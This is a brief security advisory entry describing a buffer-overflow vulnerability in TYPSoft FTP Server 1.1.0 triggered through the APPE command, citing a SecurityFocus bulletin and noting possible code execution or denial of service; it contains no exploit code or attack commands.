TYPSoft FTP Server 1.1 - APPE Remote Buffer Overflow

source: https://www.securityfocus.com/bid/52554/info

TYPSoft FTP Server is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected.
